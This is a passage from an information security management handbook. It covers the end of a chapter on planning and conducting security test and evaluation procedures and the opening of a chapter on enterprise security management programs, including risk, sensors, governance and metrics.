• • • • •
Procedure number — Each procedure has a given assumption and methodology. Start date — Start date is the first date the procedure becomes effective. End date — End date is the retirement date of the implementation. Supercede number — The supercede number corresponds to an implemented superceding procedure. This date is only entered when a procedure has an end date. Identifying procedure succession provides external reviewers with a record of changes in a security testing process. Requirement numbers — This is a listing of requirement numbers utilizing this procedure. Test type — Test type identifies the test as being an interview, document review, observation, or technical test. Assumptions — This describes any assumptions that are used to validate test results. Methodology — Methodology provides a detailed explanation of how to conduct the test. Tools — This is a list of manual or automated tools used to conduct the test.
218
Information Security Management Handbook
Developing Test Procedures Documented security requirements represent a collection of codified controls that a system must support. From this collection a determination regarding a match between existing controls and those identified as security requirements must be made. Testing a requirement may involve one or more tests to validate compliance. Two important attributes of a well-constructed security test are its repeatability and completeness. These two attributes provide consistency to the testing process. Clear and concise test procedures provide repeatability. Documented procedures should not be so vague as to cause different individuals with varying skill levels to perform the test in different manners. This would likely result in the testers selecting different test points and possibly losing the ability to obtain repeatable results. Likewise, complicated procedures that are difficult to follow may result in similar anomalies. Procedures should be as concise as possible, be easy to read, and accommodate a variety of skill and system knowledge levels of potential testers. Documented procedures should completely test a requirement. It is best to associate only one procedure per requirement. Although this may result in a long procedure, it reduces the likelihood that procedures have dependencies on other procedures. In this case, the testing process may become complicated and cumbersome. In contrast, it is not unreasonable to associate one procedure with multiple requirements. Using one procedure to validate multiple requirements typically occurs with the use of automated testing methods. Lengthy procedures are best kept in separate documents from the SRTM. Simply reference the appropriate procedure document in the SRTM. When developing tests, some considerations must be given to the resources and tester skills required. Security practitioner labor and tools used for testing and monitoring comprise the bulk of these resources. Security resources are frequently in short supply and must be carefully distributed where they will provide the most effective return. Resources should be allocated according to the results of system risk assessments and the security practitioners’ judgment. Areas of a system, as identified in a risk assessment or practitioner experience, deemed to have greater risk should receive sufficient testing to identify any vulnerabilities present. System risk assessments do not always thoroughly examine the people and process aspects of information security; therefore, the security practitioner developing the test procedures must determine the depth and breadth of testing necessary to identify moderate- to high-risk areas. Different procedures require varying skills to perform each task. Procedures requiring specialized skills should be kept to a minimum. This is not to say that they should be avoided, but rather consideration should be given to the possibility that a requirement might be tested without the need for specialized skills. Generally, tests that are complicated and difficult to perform will likely raise costs over time. The skill necessary to perform a procedure is typically related to the test method implemented. Interviews are considered the easiest, whereas some manual and technical methods are the most difficult. Another consideration in procedure development is the sample size of the test. Sample size refers to the number of like items to be tested. Should a test be done for each point on the system supporting the requirement, or should it be some fraction thereof? For example, testing the audit settings on 100 geographically dispersed servers in a system is likely not too difficult if it can be automated. In contrast, suppose that 15,000 geographically dispersed users are required to acknowledge a security agreement in writing on an annual basis. Reviewing 15,000 signed documents is neither practical nor feasible. In this instance, it is reasonable to select a fraction of the total to obtain a level of confidence regarding compliance with the requirement. No hard and fast rules exist with regard to selecting an appropriate sample size. Indeed, cost is a consideration for obtaining and reviewing the sample. Likewise, the judgment of the security practitioner again comes into play. Generally, management will dictate the sampling size, but the tester should retain the flexibility to select which locations or devices are to be tested. It is advisable to select those areas that are suspected or known to have compliance issues. Alternatively, the areas could be selected at random; however, this may result in missing areas known to have issues. Purposefully selecting weak areas is not considered overbearing but rather identifies weaknesses and provides management with the opportunity to enhance the overall security posture of the system through corrective actions.
Developing and Conducting a Security Test and Evaluation
219
The last consideration in test development refers back to the scope of the requirement. Procedures should be specific to the people, process, or product being reviewed. Consider an interpretation of our audit requirement such that it is only applicable to servers, routers, and firewalls. In this case, it will be necessary to have procedures for each type of server, router, and firewall in the system. Each test procedure should be unique to the product being tested; therefore, it is likely that a requirement will have multiple procedures associated with it.
Test Methods Testing is conducted through manual, automated, and ad hoc methods. These methods do not represent the use or nonuse of tools but rather indicate a degree of automation and adherence to predefined procedures. Manual methods imply that a given test is conducted by the evaluator in a step-by-step process. The strength of the manual process is in its thoroughness. Manual tests conducted with detailed procedures give the tester complete control over the testing process. Evaluation of people and processes is primarily conducted through manual methods. The downside of manual tests is the speed with which they can be accomplished. These tests can be labor intensive, time consuming, and therefore costly. In contrast, automated tests provided consistent and repeatable test methods. Automated tests represent the automation of a manual process. Automated tests provide a high degree of efficiency. Tools used for automated tests may or may not be complicated to configure and operate. In either case, they have the ability to rapidly test predefined controls. Two major issues regarding the use of automated tools could potentially reduce the completeness of a test. First, an automated tool is limited to testing the parameters for which it was designed. Tools with the flexibility to allow user-defined parameters are inherently more complicated to configure and operate and thus are a trade off. Second, it may be difficult to map the use of a tool to all of the necessary requirements. Vulnerability assessment tools should be used with caution. These tools will report items that are not compliant with the rule set used to evaluate the system. In some cases, a tool may identify an open port, protocol in use, or system configuration as a vulnerability when in fact the identified issue is a normal function of the system. Furthermore, identifying the requirements tested with the tool may not be an easy task. Mapping the capabilities of a robust tool to system security requirements can initially be a difficult task. Automated tools are extremely helpful, but generally do not test all of the variations in technical controls present on a given system and require a through understanding of the tool functions as well as the system architecture. Ad hoc testing is a valuable method of testing. Testers may encounter situations where existing test procedures are inadequate or incomplete regarding a system being evaluated; therefore, it is sometimes necessary to perform additional tests to validate system compliance with the identified requirements. The strength in the ad hoc test is evident in the flexibility it provides. In contrast, ad hoc testing represents a deviation from established procedures and therefore requires additional information from the tester. The tester should document how the test was conducted as well as the results to retain the repeatability attribute of the test.
Conducting Tests An ST&E should be performed according to written procedures agreed to by management; however, it is important to be on the lookout for weaknesses in the testing process. Poorly worded, inaccurate, or ambiguous test procedures hamper the tester and reduce the likelihood that the test will be repeatable. For this reason, a tester should not blindly follow a procedure but instead should consider the context of the written procedure and internally determine its sufficiency. Flawed test procedures may introduce inaccuracies or inconsistencies into the testing process. For this reason it is important to correct flawed procedures and document that the changes occurred. It is likely that a generic set of test procedures will not identify all key testing points for a given system. The tester should be continuously cognizant of the testing process and look for areas that might be missed. For example, a new application recently integrated into a system that opens new ports and
220
Information Security Management Handbook
introduces new protocols might not be securely configured or implemented. Furthermore, the parameters of the new application may be outside existing security test procedures. Not testing the conformance of the system as a whole to the established requirements is a weakness in the testing process and may neglect to identify an existing vulnerability. For this reason, a tester should be familiar enough with the system to determine if additional procedures should be developed and conducted. The last step in conducting a test is to document the results. The amount of detail necessary when documenting the result of a test is generally dictated by management. At a minimum, it is advisable that compliance with a requirement be acknowledged as passing and that tests resulting in noncompliance include the actual result of the test. Returning to our previous auditing example, suppose that the host operating system has the capability to audit the use of administrative privileges; however, in our example, the system is configured to audit only failed attempts to use administrative privileges. Although the system is configured to perform auditing of a failed attempted use of administrative privileges, it is not compliant with our AUD1.5 administrator activities requirement. This is because the root of the requirement states that “AUD1: The audit mechanism must be configured to record” and then AUD1.5 identifies administrative activities. Let’s consider a reverse situation. Suppose that in our example the host operating system is configured to audit successful attempts of the use of administrative privileges; however, it is not configured to identify failed attempts. Would this result in a failure? From a conservative standpoint it would not because the system is meeting the minimum wording of the requirement. It is configured to audit successful administrator actions; however, consider our requirement reworded to state “AUD1.5: Successful and unsuccessful administrative activities.” Then certainly our latter example would result in a noncompliance because only successful auditing is configured. In this case, it is clear that high-level security requirements will involve some need for interpretation or assumptions. Organizations can ease this situation by developing system-specific configuration guides. The settings found in the configuration guides are added to the SRTM to provide more precise testing parameters. For technical tests, it is important to have the tests be as technology specific as possible to avoid the preceding situation.
Results Analysis In general, four outcomes of a security test are possible: (1) The system complies with the requirement, (2) it does not comply, (3) it partially complies, or (4) the test is not applicable to the given system. A system is said to be compliant with a security requirement when a test is conducted and the system completely passes the test with no issue. A system is said not to be compliant with a requirement when the system in part or as a whole fails a test. Alternatively, a system could be said to be partially compliant when some aspects of the test procedure pass. Suppose one server out of a hundred is not properly configured. It seems more reasonable to say the system is partially compliant as opposed to indicating a complete lack of compliance. Noncompliance should be used in all circumstances when evidence of any compliance with the requirement is lacking; however, use of the term partially compliant is left up to the discretion of management. In the course of conducting a test, it may be determined that some requirements do not apply to the system being tested. This is a common situation for some government systems, where systems processing classified information have other requirements in addition to those that process unclassified information. The identification of people, processes, or products not complying with a security requirement results in a vulnerability. The generally accepted definition of a vulnerability is a weakness or flaw in a system; however, this does not adequately address the issues of failed tests regarding people and processes. With respect to an ST&E, we need to modify the definition of a vulnerability to accommodate the other two aspects of system information security; therefore, vulnerabilities result from misconfigurations, policy violations, and system flaws.
Developing and Conducting a Security Test and Evaluation
221
Noncompliance issues identified in an ST&E arise from misconfigurations, policy violations, and system flaws. Misconfigurations are identified when a system clearly does not follow documented configuration requirements. Misconfigurations are product-specific issues. Policy violations could involve all three aspects of system information security. Policy violations from people arise from ignorance, complacency, or disregard for security requirements by users, administrators, or system managers. Products can also have policy violations when they do not have the capability or capacity to support a security requirement. System flaws are the result of design errors in products and processes. Flaws are corrected by reworking the product or process so it conforms to its intended or designed operation. Systems are fixed through product updates or security patches. Processes may require some changes in procedures to shore up any shortcomings; for example, suppose a process of reviewing security audit logs is solely delegated to the administrator of the system. This is a typical situation in small organizations. This situation violates the concept of separation of duties because the administrator is providing security oversight of his or her own activities; therefore, this process or practice is flawed. In this situation, it is not the system that has a security issue, but the process implemented by people that weakens the security posture as a whole. The identification of new vulnerabilities may impact prior risk and vulnerability assessments. Prior to an ST&E management may have assumed that the system properly supported the necessary requirements. The discovery of new vulnerabilities can radically alter the perception of operating risk of the system. Identified vulnerabilities should be matched against the assumptions and findings of prior risk and vulnerability assessments to reassess the security posture of the system. Vulnerabilities noted that represent significant exposures of the system should be reported to management. Newly identified vulnerabilities may also have an impact on the security documentation of the system. Vulnerabilities arising from flaws may require system reengineering or design efforts to correct deficiencies. System security configuration and design documents may have to be updated to establish new baselines. The resulting updates to the documentation will likely result in new security requirements for the system.
Summary Developing an ST&E involves the collection and analysis of security requirements that affect the people, processes, and products associated with an IT system. Security requirements are gathered from organizational policies, procedures, guides, risk assessments, and system security engineering documentation. Requirement statements are decomposed from the security documentation into individual security requirements. These requirements are further grouped into management, operation, and technical groups. Vague requirements are interpreted for clarification. Each requirement is analyzed to determine the most appropriate type of test to be conducted. Management is notified when requirements are lacking so the gaps can be filled with new policy. Procedures are developed to test each requirement collected. Procedures should completely test the associated requirement. Likewise, the procedure should be detailed enough to give subsequent reviewers the ability to repeat a test conducted and obtain similar results. Assumptions made regarding each test are documented. Assumptions that are inadequate may necessitate the development of new requirements. System compliance with identified requirements is evaluated through interviews, observations, document reviews, and technical evaluations. Testing methods include manual, automated, and ad hoc processes. The testing process should follow the established procedures. Gaps in procedures or policies are identified and reported to management for appropriate action. Results are documented as compliant, partially compliant, noncompliant, or not applicable. Partially or noncompliant issues occur when a component of the system does not follow policy or is misconfigured or flawed. Resulting vulnerabilities are reported and may require management to provide new policies or guidance to correct the issue.
222
Information Security Management Handbook
Definitions Applicability — An identified requirement applies to a given system. Assumption — Assumptions are essentially testing shortcuts. An assumption can serve to reduce the amount of low-level testing detail necessary. For example, viewing the lock on Internet Explorer and the “https” in the address bar is sufficient to prove that a session is encrypted, rather than analyzing network traffic packet headers when observing the handshake process for the Secure Sockets Layer (SSL); however, this may not be the case for other applications that do not provide visual indications that SSL is in use. Assumptions are used to trust that other processes, products, or people are performing other necessary tasks. In essence, making an assumption requires deciding that some other requirement or situation is true or not true. Completeness — Security test procedures are said to be complete when they fully test a given requirement. Duplicity — The redundancy of testing procedures; duplicity among tests should be reduced. Tests that satisfy multiple requirements should be identified. Dependencies — Dependencies occur when a requirement relies on or is subordinate to the implementation of another. This situation usually results in a cascade of failures during security testing. Where dependencies exist, it should be noted so unnecessary tests can be avoided. This will reduce the time required to conduct a system test. Also, the results that cascade can point to the parent test that failed, thus reducing the amount of repetition necessary to account for a top-level failure. Feasibility — The extent to which a requirement can be implemented by the people, product, or process. Interpretation — Rephrasing or restating a security requirement such that it is more clear or applicable to the system being tested; aspects of a requirement that may be interpreted include scope and applicability. Repeatable — The attribute of a security test that allows different testers to reproduce the same or similar results if the test point has not changed. Sample size — The number of test points selected within a system for a given requirement. Scope — The depth and breadth of the applicability of a policy or security test.
18 Enterprise Security Management Program George G. McBride Before a chapter discussing enterprise security management (ESM) can be written, an acceptable definition must be made as a basis for further discussion. Ironically, this process has turned out to be a difficult one because several different, equally valid, and generally accepted definitions are used in the security industry today. To further cloud the issue, other concepts, systems, and programs exist that are similar in nature and often used interchangeably, such as enterprise risk management (ERM) and security information/event management (SIM/SEM). ERM focuses on the identification, measurement, mitigation, and monitoring of risks in areas such as economic, business, and information technology. As we will see, a valuable input to a successful ESM program is a successful ERM program that provides a majority of the required inputs, such as real-time information regarding the assets and vulnerabilities of an enterprise. Additionally, an SIM or SEM tool is generally concerned with the collection, consolidation, analysis, reporting, and alerting of security-related data such as logs, alerts, and processes. This tool is often the one used to provide the requisite input into the ESM program, as detailed later in this chapter. Some product-based companies offer software systems (or sometimes both hardware and software) based on ESM solutions. These are generally centralized collection and analytical software-based tools that collect security event data from any number of heterogeneous devices. Likewise, consulting organizations offer the development of an ESM-based program that fully introduces and incorporates the ESM system functionality into the security organization.
ESM program elements and how they fit into an organization. Finally, before concluding the chapter, the advantages and disadvantages of a typical ESM program are reviewed to give readers an unbiased view to help determine whether an ESM program should be rolled out in their organizations. Today, innovative and progressive organizations recognize that risk is not something that must be avoided at all cost but rather something that can be utilized as a business enabler. A company that can accurately measure the level of risk of an application and knows the levels of risk with which it is comfortable can make educated and informed decisions that companies without a complete ESM solution cannot make. For example, a progressive organization may chose to roll out a customer-facing Web portal to provide a service to its customers that no other competitor has provided. Clearly, this service provides an advantage over its competitors, and, if the risks have been identified, measured, and monitored, then the service will not cause everybody in the IT security organization to cross their fingers. Instead, they will understand the balance between business enablement and acceptable risk. Risk can be thought of as an equation involving just a few variables: Risk = (Threats × Vulnerabilities) ÷ Controls The threats component is comprised of the likelihood of occurrence and the impact to the asset or to the overall business. Threats are the agents that are capable of affecting an asset (usually negatively). A number of different threat parameters must be considered, including whether the threat is intentional or accidental, logical or physical, active or passive. A vulnerability is generally considered to occur in the absence of effective controls, resulting in exposure of an asset or offering a potential avenue of attack. The controls are the safeguards that are inherent or built into an asset to provide protection against threats by mitigating the vulnerabilities. Assets can include a server, an application, a critical business process, a building, intellectual property, or the corporate plane. As mentioned before, companies today should not attempt to drive the risk of an asset or business process down to zero but instead should drive the risk down to at or below an acceptable level of risk. This reduction of measured risk can be made in any number of traditional ways, such as mitigation, transferal, or removal of the asset. The acceptable level of risk has many factors, such as: • The corporation’s reactions to previous security-related incidents or the perceived reaction based on company stature, industry, or visibility • Regulatory and legal restraints, such as Sarbanes–Oxley or Gramm–Leach–Bliley, that limit the risk an organization may take • Corporate image and the effect a negative (or potentially negative) event would have on the organization • Organizational and personnel risk tolerance, which may dictate or influence the amount of risk an organization is willing to take If a company can measure the risk of an asset (such as a Web server) and has determined what the corporation’s acceptable level of risk is, an educated decision can be made as to whether or not the device should be deployed. Neither the measured level of risk for an asset nor the acceptable level of risk for that asset can be determined in an afternoon; however, they both can be measured, albeit qualitatively, to allow educated comparisons and decisions to be made.
The Need for Enterprise Security Management Levels of risk are continuously changing, as every enterprise is a dynamic entity with controls being added and deleted, ports in the firewalls being opened, services and systems being added, architectures being redeveloped, and acquired companies being added to the network. Additionally, vulnerabilities and threats, introduced external to the organization, will affect the level of risk of an organization and must be captured and measured. Rather than measure the risk of each asset every time the infrastructure changes, an ESM program incorporated with an ERM program can provide that functionality almost continuously based on the inputs that the system receives.
Enterprise Security Management Program
225
The continuous availability of updated data positions the ESM system to serve as an optimized dashboard of the company’s risk posture. In fact, the dashboard function is often one of the most compelling business advantages to an organization when considering the deployment of an ESM program. In addition, the security and risk posture can be used to measure compliance with a number of regulatory and legal requirements such as: • The Sarbanes–Oxley Act, which requires an annual assessment of internal controls over financial reporting systems • The Health Insurance Portability and Accountability Act (HIPAA), which applies to all healthcare providers, as well as payment and clearing centers, and ensures the confidentiality, integrity, and availability of ell electronic personally identifiable health information • The Gramm–Leach–Bliley Act, which applies to any company regulated by the U.S. Office of the Comptroller of Currency and ensures that financial institutions ensure the security and confidentiality of customer personal information against “reasonably foreseeable” threats • The European Union (EU) Data Protection Directive, which stipulates appropriate technical controls to protect against personal data loss, modification, access, or disclosure of data that flows among EU states Assuming that proper, accurate, and complete inputs are part of the ESM program, the system can provide a number of different parameters to help determine the security posture of the individual assets as well as holistically across the entire company. By having a complete picture of its security posture, an organization can monitor and measure its compliance with regulatory, legal, and industrial compliance issues.
Enterprise Security Management Challenges A successful ESM implementation is not without its challenges. ESM programs are solely dependent on the input data that arrives through a number of systems and programs that support the programs. The first two challenges listed below refer to specific system-based challenges, and the third challenge is one that may affect a typical ESM program: • The proper sensors are incorporated in the ESM architecture. • The proper data is collected from the sensors. • The proper actions are performed based on ESM output. Just as the saying goes, “Garbage in, garbage out.” As with any enterprise-wide implementation, the data that is processed, analyzed, reported on, and sometimes alerted on is only as good as the data that has been received. In general, ESM solutions deploy sensors (also called collectors or agents) at various network segments that have been reviewed and identified as critical. Enterprise security management sensors can utilize proprietary collectors; they can be integrated with existing collection devices such as intrusion detection system (IDS) units, firewalls, and hosts; or they can be hybrids of both. In any event, it is as important to capture the required information to identify and process incidents as it is to transmit the minimal amount of data from the sensor to the server or console. It is not uncommon to generate thousands of events per second (EPS) in a typical environment. Forwarding all of the alert data from a sensor to a server will reduce the EPS because the network will quickly become saturated and normal business traffic will be impeded. It is equally important to ensure that the required information is captured by the ESM to be analyzed. Not providing the requisite data to an ESM system is equally detrimental, as incidents may not be detected and investigations may not have all of the data that is required. One of the most important aspects of the data forwarded from the sensor to the server is that something must be done with that data. Although this sounds obvious, too many times the proposed solution forwards data to a collector that will never be reviewed or be included in an investigation. For example, if the system is transmitting all internal successful File Transfer Protocol (FTP) transfers from a critical
226
Information Security Management Handbook
server but is only generating an alert on the fifth unsuccessful log-on attempt, why transmit the successful transfer data to the server? Only information that will be used as part of the ESM monitoring or alerting should be transmitted, as the other data is best suited to remaining local. Today’s advanced ESM systems can pull the data automatically later or the incident response team can obtain the data manually later. The types of sensors, locations, data collected, and alert triggers all factor into the false positives and false negatives generated. False positives identify actions that are not truly security incidents and, by doing so, can reduce the alertness of the incident response team. False negatives are valid security incidents that are not detected. Through sensor and analysis tuning, analyzing past performance feedback, and adjusting alerting triggers, the false positives and negatives can be managed.
Enterprise Security Management Components As mentioned previously, a successful ESM solution is comprised of two integral and related components. A software-based solution is generally used to receive, analyze, report, and alert on the data, and the ESM program complements the system by defining staffing, roles and responsibilities, metrics, etc. Although an ESM system will provide an advantage over an organization that does not have one, the true differentiator will be an effective ESM program that allows the organization to fully leverage the system. This section discusses both the ESM program and the system. Before an ESM program can be deployed, a risk assessment of the enterprise should be performed. This assumes that a risk management program, a critical and required component of any ESM program (and the introduction of which could require an entire book), is in place within the organization. The risk management program, which includes the identification of assets, the identification of the risk equation components, the measurement of risk, and determining how the risk is managed, is a formal program that should also detail governance, roles and responsibilities, organizational structure, metrics, etc. Through the risk assessment, a comprehensive view of business operations as well as the physical and logical infrastructure can be developed. As part of the risk assessment, the critical assets and business processes are identified, and the assets that require protection are prioritized. Likewise, the risk assessment identifies the threats and vulnerabilities that must be protected against by the ESM program. This often overlooked but critical step will often help develop the requirements of the ESM system, as a particular ESM system may have certain strengths regarding particular threats and vulnerabilities that other systems may not have. This review process should be a collaborative effort that includes business units, information systems (IS), information technology (IT), IS/IT security, the compliance officer, and the chief security officer, as well as the incident response and forensics teams if they are considered separate entities. The goal of the sensor placement exercise is to ensure that a significant majority agree on where the critical assets of the enterprise exist (assuming that everyone knows what they are), where high-risk network segments exist, and where gateways exist. Additionally, as part of the ESM program deployment, the organization should take the time to update (or create) a security roadmap. The roadmap is a forward-looking plan that identifies the types of assets within an organization that must be protected against evolving threats and vulnerabilities. The roadmap also highlights how the security organization will evolve and adapt to meet those threats and how the ESM program will be incorporated into the enterprise.
Enterprise Security Management System No single ESM architecture works better than any other ESM architecture for every organization. When an organization’s requirements have been identified, the organization will be able to reach out to the various ESM vendors to determine which architecture is the best fit for that particular enterprise. When developing the ESM system, it is important to understand how it will fulfill the requirements of the ESM program. Whether the ESM system drives the program or vice versa, the two are tightly coupled, as we will see in the next few sections.
Enterprise Security Management Program
227
As part of the data collection process, data collectors are dispersed throughout the network. These collectors include such network elements as: • • • • • • • •
Firewalls, including desktop and gateway Routers Critical servers, such as Web servers, application servers, and transaction servers Network and media gateways Intrusion detection systems (IDSs) or intrusion prevention systems (IPSs) Authentication servers Anti-virus consoles and desktop engines Pure “collectors,” which act as network “sniffers”
These collectors can push the data to an intermediary collector, or the data can be pulled by the collector. In a smaller environment, only a few collectors within the enterprise may receive and process data. In a larger environment, the hierarchical architecture may include numerous collectors. Generally, at some point is a centralized ESM manager, which is remotely accessed through an administrator graphical user interface (GUI) or via a Web-based interface. Although every solution may propose a different architecture, redundancy and minimization of data transfer are two key goals of an ESM solution. As such, data retention and available network bandwidth generally stipulate where the complete set of data will remain. Although having a centralizing collector to store all of the event data is preferable from a backup perspective, available network bandwidth may prevent thousands of collectors from sending information to a single point. As such, intermediary collectors are generally utilized and serve as a focal point for data collection and backup. Several particular features of any ESM system under consideration by an enterprise should be part of the evaluation criteria. Optimally, these features should be considered requirements to the solution to ensure that it can grow as the enterprise grows. These items are detailed below. The ESM manager should provide for multiple levels of user roles, such as administrator, analyst, investigator, IT staff, and IT/IS security. Following the concept of least privilege, only the minimal information required for each role to complete its task should be displayed. Likewise, modification of data should be restricted by technical mechanisms, and cryptographic hashes or checksums to identify any modified data should be utilized. Should the need for a forensics investigation that ultimately makes it to the judicial system emerge, this requirement will prove essential to ensuring that no data has been tampered with. The architecture should be scaleable to grow with the enterprise’s never-ending changes through acquisitions, divestitures, adoption of new technologies, and the retirement of old technologies. The architecture should also be scaleable through bandwidth growth to incorporate emerging technologies such as gigabit Ethernet, Intelligent Multimedia Subsystems (IMSs), and Voice over IP (VoIP). Likewise, the solution should provide for timely and rapid deployments and integration of sensors into the ESM infrastructure. Management consoles sometimes require additional resources above and beyond what is required by the vendor. For example, hidden costs may be associated with the use of storage devices, such as storage area networks (SANs). Although quite expensive to deploy, a SAN provides an effective mechanism to store the large volumes of data that will be collected. Whether or not a SAN is used, data storage and data backups must be considered when identifying the requirements. Likewise, some vendors may choose to utilize a back-end database that is not fully supported by the vendor or may not have the full capacity and processing capabilities of the full product suite. In certain events, it may be necessary to obtain the enterprise version of certain products to fully support and maintain the ESM system. The architecture chosen should be able to support the growing trend to deploy security operations centers (SOCs) managed internally and through third parties. An optimal solution, but perhaps not a requirement, would be integration with a trouble ticketing system to address any issues or anomalies that are detected. With true integration, the tracking of incidents from detection to resolution can be managed from a single platform and will simplify the collection and generation of metrics data.
228
Information Security Management Handbook
The architecture should be technology and vendor neutral to be able to optimally mix vendors’ equipment and provide a best-in-class solution in a heterogeneous environment. The best ESM solution should be able to aggregate data from any sensor capable of providing relevant data. The solution must be able to satisfy any requirements regarding how quickly alerts are generated after a suspicious activity is recorded. Finally, an organization may require that particular types of alerts be automatically squelched after surpassing some threshold. The ESM console should have an efficient solution to provide for backup capabilities to support any ongoing or future forensics investigation needs. The solution should provide for data retrieval and playback in the familiar console format. Additionally, data retention should meet or exceed any regulatory compliance or industry best practices while still complying with any corporate policies. One of the most significant benefits of providing a holistic perspective across the enterprise is the ability to normalize the data that is aggregated. The ESM system should be able to normalize the data over the enterprise to adjust alert reactions as the implementation scope increases and the threat environment changes. Additionally, the reporting functions should be granular enough to provide for administrator override when it becomes necessary to focus on particular network segments, threats, or alerts.
Enterprise Security Management Program The ESM system is only one piece of an effective ESM program. In order to effectively leverage that system, a program should be implemented that includes the following: • • • • • • •
Program charter Governance Implementation (as required) and integration with other programs Organization roles and responsibilities Regulatory and compliance reporting Metrics Enterprise security policy
The ESM program charter should be typical of other organizational and program charters that already exist within the organization. For example, the charter will define the governance requirements, the organizational structure and roles and responsibilities at a high level, and interfaces of the ESM program such as human resources or other IT organizations. Additionally, the charter may be used to introduce the program and its role and responsibilities to the organization and the corporate board. It defines the purpose of the ESM program, how it will support the organization, and the authority that the ESM program has to carry out its mission. The governance of the ESM program depends on how the program is managed within the organization. Governance ensures that the program is administered properly, that the appropriate persons are doing the appropriate activities, that the program is efficient and effective, and, to an extent, that the program provides some value to the organization. For governance to be effective, it should be managed from outside of the ESM program, perhaps by the chief risk officer, chief security officer, or chief information security officer. It is important to ensure that certain programs within the enterprise are reviewed and integrated with the ESM program as applicable. Although the incident response program may be an obvious program to integrate with the ESM, integrating the change management and configuration management programs may not be as obvious. By integrating the change management program, changes to the infrastructure will be noted and will not create any false alarms. Likewise, any infrastructure changes documented in the change management program can be incorporated immediately into the ESM program. An effective configuration management program will allow the ESM program and personnel to know the exact configurations of any assets under question to understand if risks are applicable given its current state. Finally, the risk management program is a critical and essential component of any ESM program.
Enterprise Security Management Program
229
Other enterprisewide programs should be integrated into the ESM program. An effective patch management system requires accurate asset inventory and configuration management components to deploy the appropriate patches, hot fixes, and updates to systems as required. Like the configuration management database, all of these programs can share a common asset database, configuration management database, and change management database as centralized repositories. It is important to note that these other programs (e.g., risk management or change management) can feed data to the ESM program, and in turn the ESM program can provide data and support to the other programs. Whether through maintaining a centralized repository or data feeds, each program can support the others to create a system of checks and balances to ensure an accurate repository within the enterprise. The ESM program should highlight the roles and responsibilities of those that manage and support the program. This may also include the roles that are required, how many people are required in each role, and the job descriptions and responsibilities for every role. Initial and ongoing training requirements should also be specified, as well as an organization structure that highlights the reporting hierarchy and includes persons outside of the formal ESM program who are still part of the infrastructure (e.g., IT, forensics team). Each position from ESM analyst to director should be detailed. The actual organizational structure will be highly dependent on the infrastructure of the enterprise, including its size, complexity, and scope. Typically, several analysts are used to monitor system consoles, receive alarms and alerts, and support the help desk. The primary responsibility of a tier II or tier III analyst may be to review tickets and issues that cannot be immediately resolved and interface with the IT/IS security personnel, the forensics group, or the incident response team. As part of this effort, IS/IT support personnel may be tasked to provide support to temporarily extend logging capabilities, install network sniffers, or provide expert guidance on the identified traffic. Depending on the size of the organization as well as the monitoring times (e.g., 24/7 or Monday through Friday 9–5), some managers may be required to support the analysts. Likewise, these managers may report to an ESM director who may then report to the chief security officer, chief information security officer, or the director of IT security. Depending on the existing structure, the ESM director may have additional support staff as direct or dotted line reports. Additionally, due to the sensitivity of the data managed by the ESM organization, additional physical security requirements may be required, such as the use of a separate room with additional card-key access requirements, and permanent IS/IT personnel may be used to support the program. Furthermore, the ESM systems will house some of the most sensitive information regarding such as attacks, vulnerabilities, and risks. It is imperative that IS/IT security be involved with the ESM system requirements, evaluations, trials, and deployment to ensure that all security issues related to the ESM system are mitigated prior to deployment. As part of an organization’s compliance with acts such as Sarbanes–Oxley and Gramm–Leach–Bliley, organizations may be required to prepare certain documents for the auditors. Although some higher level audits may be satisfied with organizational structure charts and a cursory review of the policy framework, other audits and compliance reviews may require additional details and inputs into the program. As an example, certain firms may be required to produce documentary evidence of any intrusion detection attempts and their process to follow the investigative process through to and including notification of the offender’s Internet Service Provider (ISP). Metrics, or the measurements of certain parameters of the program, are necessary for determining the effectiveness of the program, identifying areas that require improvements, and detecting any overall trends that may not be noticed in everyday operation. In general, a commonly accepted practice is to generate only actionable metrics; that is, the metrics will identify areas that may be of concern so the appropriate changes can be made to improve the program. Metrics should be simple, and this is where a dashboard approach is better than a detailed in-depth analysis. Typical ESM program metrics will differ based on architecture and program maturity. For example, during the ESM system roll out, a metric may be the number of collectors deployed, whereas a more mature program may include metrics such as the number of events detected, number of false alarms, and number of events closed by tier I personnel. As part of the governance program, the ESM-based metrics should be regularly reported to the governing body.
230
Information Security Management Handbook
The final key component of the ESM program is an enterprise security policy that is able to support the program. An effective security policy should address what must be done within the organization, how often it must be done, by whom, how it is to be done, and why it must be done. The policy must be written by somebody who understands the organization, the types of users within the organization, the industry in which it is competing, and, most importantly, the goals and mission of the enterprise. Any external drivers — regulatory, industrial, or legal — both current and pending should also be considered. The policy must be well defined in scope up front to set any expectations, and it should explicitly detail what information will be found in policies, standards, practices, and procedures. Also, the policy must be written with the thought of the standards, practices, and procedures logically falling into place in a hierarchical manner. The policy must be readable and available to the population in the enterprise that needs access (usually everybody), and it should have a formal version control and back-up system. The policy should have the buy-in from key business unit and corporate center personnel and should have a formal documented process to address any changes or updates, as the policy documentation framework is a living document that has to be updated as technology changes. To ensure an effective, enforceable, and applicable policy framework, the policy development team must be composed of persons who are intimately familiar with the enterprise, architecture, business, and technology. When the policy framework has been drafted, reviewed, and approved, the policy team or an awareness team must then promote the awareness program policy throughout the enterprise. This promotion should include a general population program as well as a targeted approach to raise awareness in certain roles, such as system administrators and security personnel.
Enterprise Security Management Advantages and Disadvantages Deploying an ESM solution has its advantages and disadvantages. Spanning the personnel, technical, and business realms, this section highlights some of the pros and cons an organization must be aware of when considering the deployment of an ESM program. The ESM system generates a tremendous amount of information through reports and a number of different types of alerts, all of which require different reactions. Without an adequate program in place to manage those alerts, an organization will be quickly overwhelmed with data and alerts that must be addressed immediately. A true ramp-up process will give an organization the opportunity to manage the frequency of alerts, how they are managed, what actions to take when a true security incident is detected, and how the reports can be used to increase efficiency. The organization that is tasked to manage the ESM system and program will require additional resources to support the efforts. ESM systems require a significant initial capital expense (e.g., several hundred thousand dollars) for a global enterprise rollout. Factor in yearly maintenance and upgrade costs, and the cost increases significantly, and the personnel costs attributable to the ESM program can exceed the system costs. The ESM system will require tuning that can only take place within the infrastructure where it is placed. Although vendors can recommend settings and provide guidance on the tuning process, only when the equipment and personnel are in place can the system be tuned to manage, for example, alerts, false positives, and automatic trouble ticketing. The ESM system should provide for a number of different methods of alerting and reporting depending on the frequency and type of incident detected and recorded. Although these are highly enterprise specific, some general guidelines usually fall into place. For example, almost all security incidents are logged. This ensures being able to identify where an incident occurred, when it occurred, and any other incidents within some agreed-upon period. Although some of the more advanced sensors have long-term memory that allows them to recall identical (or similar) incidents within a longer time frame, such as several weeks, most normalize over a period 